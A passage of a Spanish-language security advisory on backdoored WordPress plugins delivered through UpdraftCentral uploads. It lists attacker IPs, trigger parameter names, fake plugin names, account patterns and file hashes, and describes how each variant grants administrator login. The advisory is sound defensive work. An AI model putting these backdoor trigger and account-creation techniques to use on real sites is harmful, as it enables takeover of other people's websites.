Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_desk9<\/code>.<\/li>\n<li>seg\u00fan Patchstack, por ejemplo \u00abSite Health Cache\u00bb, \u00abAsset Forge 2\u00bb, \u00abContent Helper\u00bb y \u00abWp Forge\u00bb, 99 nombres en total<\/li>\n<\/ul>\n<p>Rasgos comunes:<\/p>\n<ul>\n<li>direcciones IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent exactamente <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, petici\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>Intentos de usar las puertas traseras el 20\/10: direcciones IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> y los rangos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code> (sin la parte de la versi\u00f3n del navegador), petici\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">GET \/?&lt;disparador&gt;=&lt;token&gt;<\/code><\/li>\n<li>Posiblemente relacionado: desde el 20\/10 vemos en nuestras webs tambi\u00e9n comprobaciones de la versi\u00f3n de UpdraftPlus mediante <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/wp-content\/plugins\/updraftplus\/readme.txt<\/code>, a menudo seguidas de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/wp-admin\/admin-ajax.php<\/code>, desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">107.189.14.87<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.188.240<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.184.170<\/code> con User-Agents de navegador falsificados. Otro administrador informa de los mismos rangos. No sabemos si se trata del mismo atacante.<\/li>\n<li>en el registro de UpdraftCentral, el sondeo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> y unas horas despu\u00e9s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>la descripci\u00f3n del plugin \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb<\/li>\n<li>un usuario con correo en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> y nombre visible \u00abSite Tools\u00bb, con rol Editor y las capacidades <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>el error fatal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Clase&gt;::FIELD<\/code> y un correo de WordPress sobre un error en un plugin que no reconoce<\/li>\n<\/ul>\n<h2 id=\"la-segunda-variante-una-puerta-trasera-funcional-con-su-propio-administrador\">La segunda variante: una puerta trasera funcional con su propio administrador<\/h2>\n<p>Otros dos administradores afectados nos describieron esta variante. El primero gestiona unas 145 webs y la encontr\u00f3 en dos de las tres atacadas. El atacante no lleg\u00f3 a usarla all\u00ed: no apareci\u00f3 la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, ninguna cuenta ni ninguna sesi\u00f3n ajena. El segundo la encontr\u00f3 en tres de las cuatro webs donde se instal\u00f3 una puerta trasera y confirm\u00f3 que <strong>funciona<\/strong>: a diferencia de la primera variante, no tiene un error que haga caer la web. Otro administrador nos envi\u00f3 la muestra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, as\u00ed que la hemos analizado nosotros mismos. Ambas descripciones se confirman, salvo la ocultaci\u00f3n de la cuenta, que no funciona.<\/p>\n<ul>\n<li>Es un \u00fanico archivo PHP con un nombre aleatorio que no tiene por qu\u00e9 seguir el patr\u00f3n de la primera variante (por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>). La descripci\u00f3n cambia en cada muestra; una de ellas era \u00abImproves cron tasks efficiency for content sites with minimal overhead.\u00bb.<\/li>\n<li>Para disimular, al activarse fija la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, programa un cron diario <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_maintenance<\/code> que de verdad borra transients caducados y a\u00f1ade un filtro de jQuery para p\u00e1ginas AMP.<\/li>\n<li>Disparador: un par\u00e1metro cuyo nombre son 12 caracteres hexadecimales y un token de 32 caracteres, por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?f2b9faa21ebd=\u2026<\/code> o <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Otros nombres de par\u00e1metro vistos: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f883d260d98a<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a613ff6d53aa<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6eb3d55b634e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f343ef05a88e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a67730d1b537<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2c71bff4b006<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">666b564665a9<\/code>.<\/li>\n<li><strong>Sin el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> inicia la sesi\u00f3n del atacante como el primer administrador existente<\/strong> y lo redirige al administrador. No crea ninguna cuenta, as\u00ed que solo quedan el archivo del plugin y una l\u00ednea en el registro de accesos.<\/li>\n<li>El modo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> crea un <strong>administrador<\/strong> completo y guarda su ID en la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> (por ejemplo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>). El modo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> inicia la sesi\u00f3n del atacante en esa cuenta. Las cuentas son del tipo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">system_team850<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web.tech988<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cms.tech644<\/code> o <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684<\/code>, con correo en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> y un nombre visible como \u00abSystem Team\u00bb, \u00abWeb Tech\u00bb, \u00abSystem Staff\u00bb, \u00abSystem Ops\u00bb o \u00abCms Tech\u00bb.<\/li>\n<li>Intenta ocultar la cuenta con un hook <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> y un filtro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>, pero ambos est\u00e1n mal escritos. El hook <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> a\u00f1ade la cuenta a las excluidas cuando WordPress ya ha construido la consulta SQL, as\u00ed que el resultado no cambia. El filtro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code> recibe <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">null<\/code> en lugar de los recuentos y no cambia nada. Hemos comprobado en WordPress 7.1.3 que la cuenta aparece con normalidad en la lista de usuarios y en el n\u00famero de administradores.<\/li>\n<li>No tiene <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Al desactivarlo solo borra la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>La entrega es la misma que en la primera variante: un sondeo y despu\u00e9s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, tanto desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> como desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, la noche del 18 al 19 de octubre (por ejemplo src-lab el 18\/10 a las 23:39 UTC, render-helper-232b el 19\/10 a las 0:03 UTC).<\/li>\n<\/ul>\n<p>Muestras (SHA-256 del archivo principal):<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, \u00abSrc Lab\u00bb 3.0.0, autor \u00abWPBridge\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, \u00abRender Helper 232b\u00bb 3.7.9<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, \u00abOpt4fix\u00bb 2.9.2, autor \u00abDigitalFork\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">js-fix-757a<\/code>, \u00abJs Fix 757a\u00bb 2.8.3, autor \u00abWPBridge\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">lazy-tool-3055<\/code>, \u00abLazy Tool 3055\u00bb 1.3.8, autor \u00abMetaLayer\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>, \u00abCache Smith\u00bb 1.3.1, autor \u00abToolBelt WP\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, \u00abBoost Kit\u00bb 2.9.3, autor \u00abPixelForge\u00bb, descripci\u00f3n \u00abSimple database queries management with automatic cleanup routines.\u00bb, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fast2engine<\/code>, \u00abFast2engine\u00bb 1.6.9, autor \u00abCodeBarn\u00bb, descripci\u00f3n \u00abReliable transient storage maintenance companion for site owners.\u00bb, cuenta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp.tech506@example.com<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">defer-engine<\/code>, \u00abDefer Engine\u00bb 3.3.1, autor \u00abSiteCraft Labs\u00bb, descripci\u00f3n \u00abFine-tunes script loading delivery to reduce load times on busy sites.\u00bb, cuenta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-mgr138<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">minify-tool-bf90<\/code>, \u00abMinify Tool Bf90\u00bb 2.9.8, autor \u00abMetaLayer\u00bb, descripci\u00f3n \u00abImproves asset loading efficiency for content sites with minimal overhead.\u00bb, cuenta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pageeditor85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">ca5ba1b02d4f1802c8182e7a71a4668959f42b501c523864c48dfdfc03ad54e8<\/code><\/li>\n<\/ul>\n<p>C\u00f3mo encontrarla: la versi\u00f3n 3 del script reconoce los archivos de los plugins por cadenas conocidas, como \u00abkeep service accounts out of the main user list\u00bb, y por su c\u00f3digo (inicio de sesi\u00f3n con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> tras <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code> sobre un valor de la URL, ocultaci\u00f3n con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>), revisa las opciones <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code> y lee los usuarios directamente de la base de datos. Tambi\u00e9n revisa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, donde el plugin descomprimido se queda aunque la instalaci\u00f3n haya fallado. Revise el registro de accesos como se describe en \u00abQu\u00e9 hacer ahora mismo\u00bb.<\/p>\n<h2 id=\"la-tercera-variante-una-puerta-trasera-m\u00ednima\">La tercera variante: una puerta trasera m\u00ednima<\/h2>\n<p>El mismo administrador encontr\u00f3 tambi\u00e9n el plugin <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f<\/code> (\u00abSite Health 364F\u00bb, versi\u00f3n 1.0, descripci\u00f3n \u00abMaintenance helper.\u00bb, sin autor). Es un \u00fanico archivo de 673 bytes sin ning\u00fan disimulo:<\/p>\n<ul>\n<li>Al activarse guarda la opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_health_364f_ver<\/code>.<\/li>\n<li>Disparador: el par\u00e1metro <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">83e590bb7e9b<\/code> con un token de 32 caracteres escrito directamente en el c\u00f3digo.<\/li>\n<li>Inicia la sesi\u00f3n del atacante como el primer administrador existente y lo redirige al administrador. No crea ninguna cuenta.<\/li>\n<li>SHA-256 de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-364f.php<\/code>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 